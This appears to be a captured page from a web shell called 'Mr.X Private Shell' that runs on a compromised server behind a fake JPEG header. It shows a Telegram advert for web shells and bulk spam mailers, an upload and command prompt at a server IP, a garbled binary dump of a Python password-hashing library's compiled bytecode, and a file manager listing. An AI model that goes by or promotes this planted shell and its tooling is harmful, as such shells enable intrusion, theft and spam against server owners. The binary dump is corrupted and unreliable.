����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

f�Wc"!�@s�dZddlmZmZddlmZddlZddlZe�e	�Z
ddlmZddl
mZddlmZmZmZddlmmZdd	gZd
d�ZdZed
�Zdd�Zdd�ZGdd�dejejej�Z Gdd	�d	ejejej�Z!dS)a�passlib.handlers.mssql - MS-SQL Password Hash

Notes
=====
MS-SQL has used a number of hash algs over the years,
most of which were exposed through the undocumented
'pwdencrypt' and 'pwdcompare' sql functions.

Known formats
-------------
6.5
    snefru hash, ascii encoded password
    no examples found

7.0
    snefru hash, unicode (what encoding?)
    saw ref that these blobs were 16 bytes in size
    no examples found

2000
    byte string using displayed as 0x hex, using 0x0100 prefix.
    contains hashes of password and upper-case password.

2007
    same as 2000, but without the upper-case hash.

refs
----------
https://blogs.msdn.com/b/lcris/archive/2007/04/30/sql-server-2005-about-login-password-hashes.aspx?Redirected=true
http://us.generation-nt.com/securing-passwords-hash-help-35429432.html
http://forum.md5decrypter.co.uk/topic230-mysql-and-mssql-get-password-hashes.aspx
http://www.theregister.co.uk/2002/07/08/cracking_ms_sql_server_passwords/
�)�hexlify�	unhexlify)�sha1N)�warn)�consteq)�
bascii_to_str�unicode�u�	mssql2000�	mssql2005cCs2t|t�sJ�t|t�sJ�t|�d�|���S)Nz	utf-16-le)�
isinstancer�bytesr�encode�digest)�secret�salt�r�:/usr/lib/python3.9/site-packages/passlib/handlers/mssql.py�
_raw_mssql9srs0x0100�0x0100cCs^t|t�r&t|�|krZ|�t�rZdSn4t|t�rLt|�|krZ|�t�rZdSntj�	|d��dS)z#common identify for mssql 2000/2005T�hashF)
rr�len�
startswith�UIDENTr
�BIDENT�uh�exc�ExpectedStringError)r�csize�bsizerrr�_ident_mssqlBs

r cCs�t|t�rNt|�|kr�|�t�r�zt|dd��d��WStyJYq�0ndt|t�r�t|t�sfJ�t|�|kr�|�t	�r�zt|dd��WSty�Yq�0nt
j�|d��t
j�
|��dS)zAcommon parser for mssql 2000/2005; returns 4 byte salt + checksum�N�utf-8r)rrrrrrr�	TypeErrorr
rrrrZInvalidHashError)rrrZhandlerrrr�_parse_mssqlPs

r$c@sXeZdZdZdZdZdZdZZe	dd��Z
e	dd��Zd	d
�Zdd�Z
e	d
d��ZdS)r
a*This class implements the password hash used by MS-SQL 2000, and follows the :ref:`password-hash-api`.

    It supports a fixed-length salt.

    The :meth:`~passlib.ifc.PasswordHash.using` method accepts the following optional keywords:

    :type salt: bytes
    :param salt:
        Optional salt string.
        If not specified, one will be autogenerated (this is recommended).
        If specified, it must be 4 bytes in length.

    :type relaxed: bool
    :param relaxed:
        By default, providing an invalid value for one of the other
        keywords will result in a :exc:`ValueError`. If ``relaxed=True``,
        and the error can be corrected, a :exc:`~passlib.exc.PasslibHashWarning`
        will be issued instead. Correctable errors include
        ``salt`` strings that are too long.
    �r�(�cCst|dd�S)N�^�.�r ��clsrrrr�identify�szmssql2000.identifycCs*t|dd|�}||dd�|dd�d�S)Nr(r)r'�r�checksum�r$�r,r�datarrr�from_string�szmssql2000.from_stringcCs |j|j}dtt|����S�Nr�rr/rr�upper��self�rawrrr�	to_string�szmssql2000.to_stringcCs2t|t�r|�d�}|j}t||�t|��|�S�Nr")rr
�decoderrr6)r8rrrrr�_calc_checksum�s

zmssql2000._calc_checksumcCsdt�|�|�|�}|j}|dur.tj�|��t|t�rB|�d�}t	|�
�|j�}t||dd��S)Nr"�)
rZvalidate_secretr3r/rZMissingDigestErrorrr
r<rr6rr)r,rrr8Zchk�resultrrr�verify�s



zmssql2000.verifyN)�__name__�
__module__�__qualname__�__doc__�name�setting_kwds�
checksum_size�
min_salt_size�
max_salt_size�classmethodr-r3r:r=r@rrrrr
fs


c@sLeZdZdZdZdZdZdZZe	dd��Z
e	dd��Zd	d
�Zdd�Z
d
S)ra*This class implements the password hash used by MS-SQL 2005, and follows the :ref:`password-hash-api`.

    It supports a fixed-length salt.

    The :meth:`~passlib.ifc.PasswordHash.using` method accepts the following optional keywords:

    :type salt: bytes
    :param salt:
        Optional salt string.
        If not specified, one will be autogenerated (this is recommended).
        If specified, it must be 4 bytes in length.

    :type relaxed: bool
    :param relaxed:
        By default, providing an invalid value for one of the other
        keywords will result in a :exc:`ValueError`. If ``relaxed=True``,
        and the error can be corrected, a :exc:`~passlib.exc.PasslibHashWarning`
        will be issued instead. Correctable errors include
        ``salt`` strings that are too long.
    r%r>r'cCst|dd�S)N�6�r*r+rrrr-�szmssql2005.identifycCs*t|dd|�}||dd�|dd�d�S)NrKrLr'r.r0r1rrrr3�szmssql2005.from_stringcCs |j|j}dtt|����Sr4r5r7rrrr:�szmssql2005.to_stringcCs t|t�r|�d�}t||j�Sr;)rr
r<rr)r8rrrrr=�s

zmssql2005._calc_checksumN)rArBrCrDrErFrGrHrIrJr-r3r:r=rrrrr�s

)"rDZbinasciirrZhashlibr�reZloggingZ	getLoggerrA�log�warningsrZ
passlib.utilsrZpasslib.utils.compatrrr	Zpasslib.utils.handlersZutils�handlersr�__all__rrrr r$Z
HasRawSaltZHasRawChecksumZGenericHandlerr
rrrrr�<module>s$%�M

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 243 B 0644
__init__.cpython-39.pyc File 243 B 0644
argon2.cpython-39.opt-1.pyc File 19.21 KB 0644
argon2.cpython-39.pyc File 19.55 KB 0644
bcrypt.cpython-39.opt-1.pyc File 26.67 KB 0644
bcrypt.cpython-39.pyc File 26.83 KB 0644
cisco.cpython-39.opt-1.pyc File 9.64 KB 0644
cisco.cpython-39.pyc File 9.7 KB 0644
des_crypt.cpython-39.opt-1.pyc File 14.3 KB 0644
des_crypt.cpython-39.pyc File 14.37 KB 0644
digests.cpython-39.opt-1.pyc File 4.26 KB 0644
digests.cpython-39.pyc File 4.26 KB 0644
django.cpython-39.opt-1.pyc File 16.61 KB 0644
django.cpython-39.pyc File 16.61 KB 0644
fshp.cpython-39.opt-1.pyc File 5.42 KB 0644
fshp.cpython-39.pyc File 5.48 KB 0644
ldap_digests.cpython-39.opt-1.pyc File 11.66 KB 0644
ldap_digests.cpython-39.pyc File 11.67 KB 0644
md5_crypt.cpython-39.opt-1.pyc File 6.65 KB 0644
md5_crypt.cpython-39.pyc File 6.79 KB 0644
misc.cpython-39.opt-1.pyc File 7.89 KB 0644
misc.cpython-39.pyc File 7.92 KB 0644
mssql.cpython-39.opt-1.pyc File 6.46 KB 0644
mssql.cpython-39.pyc File 6.52 KB 0644
mysql.cpython-39.opt-1.pyc File 3.37 KB 0644
mysql.cpython-39.pyc File 3.37 KB 0644
oracle.cpython-39.opt-1.pyc File 4.81 KB 0644
oracle.cpython-39.pyc File 4.81 KB 0644
pbkdf2.cpython-39.opt-1.pyc File 13.15 KB 0644
pbkdf2.cpython-39.pyc File 13.15 KB 0644
phpass.cpython-39.opt-1.pyc File 3.61 KB 0644
phpass.cpython-39.pyc File 3.61 KB 0644
postgres.cpython-39.opt-1.pyc File 1.62 KB 0644
postgres.cpython-39.pyc File 1.62 KB 0644
roundup.cpython-39.opt-1.pyc File 660 B 0644
roundup.cpython-39.pyc File 660 B 0644
scram.cpython-39.opt-1.pyc File 10.67 KB 0644
scram.cpython-39.pyc File 10.74 KB 0644
scrypt.cpython-39.opt-1.pyc File 8.34 KB 0644
scrypt.cpython-39.pyc File 8.5 KB 0644
sha1_crypt.cpython-39.opt-1.pyc File 4.31 KB 0644
sha1_crypt.cpython-39.pyc File 4.31 KB 0644
sha2_crypt.cpython-39.opt-1.pyc File 10.67 KB 0644
sha2_crypt.cpython-39.pyc File 10.94 KB 0644
sun_md5_crypt.cpython-39.opt-1.pyc File 8.38 KB 0644
sun_md5_crypt.cpython-39.pyc File 8.45 KB 0644
windows.cpython-39.opt-1.pyc File 8.67 KB 0644
windows.cpython-39.pyc File 8.67 KB 0644